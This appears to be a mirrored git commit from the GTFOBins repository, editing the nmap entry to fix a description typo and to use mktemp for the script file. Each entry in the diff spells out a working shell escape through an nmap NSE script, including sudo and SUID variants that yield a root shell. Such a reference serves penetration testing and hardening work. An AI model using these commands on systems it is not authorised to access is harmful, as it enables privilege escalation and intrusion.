mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-26 14:59:44 +01:00
Fix nmap description and temporary file
This commit is contained in:
parent
f34aa31334
commit
14c8781f2d
@ -1,18 +1,21 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
execute-non-interactive:
|
execute-interactive:
|
||||||
- description: Echoing of input characters3ers is disabled.
|
- description: Echoing of input characters is disabled.
|
||||||
code: |
|
code: |
|
||||||
echo 'os.execute("/bin/sh")' > /tmp/script.nse
|
TF=$(mktemp)
|
||||||
nmap --script=/tmp/script.nse
|
echo 'os.execute("/bin/sh")' > $TF
|
||||||
|
nmap --script=$TF
|
||||||
sudo-enabled:
|
sudo-enabled:
|
||||||
- description: Echoing of input characters3ers is disabled.
|
- description: Echoing of input characters is disabled.
|
||||||
code: |
|
code: |
|
||||||
echo 'os.execute("/bin/sh")' > /tmp/script.nse
|
TF=$(mktemp)
|
||||||
sudo nmap --script=/tmp/script.nse
|
echo 'os.execute("/bin/sh")' > $TF
|
||||||
|
sudo nmap --script=$TF
|
||||||
suid-enabled:
|
suid-enabled:
|
||||||
- description: Echoing of input characters3ers is disabled.
|
- description: Echoing of input characters is disabled.
|
||||||
code: |
|
code: |
|
||||||
echo 'os.execute("/bin/sh -p")' > /tmp/script.nse
|
TF=$(mktemp)
|
||||||
./nmap --script=/tmp/script.nse
|
echo 'os.execute("/bin/sh -p")' > $TF
|
||||||
|
./nmap --script=$TF
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user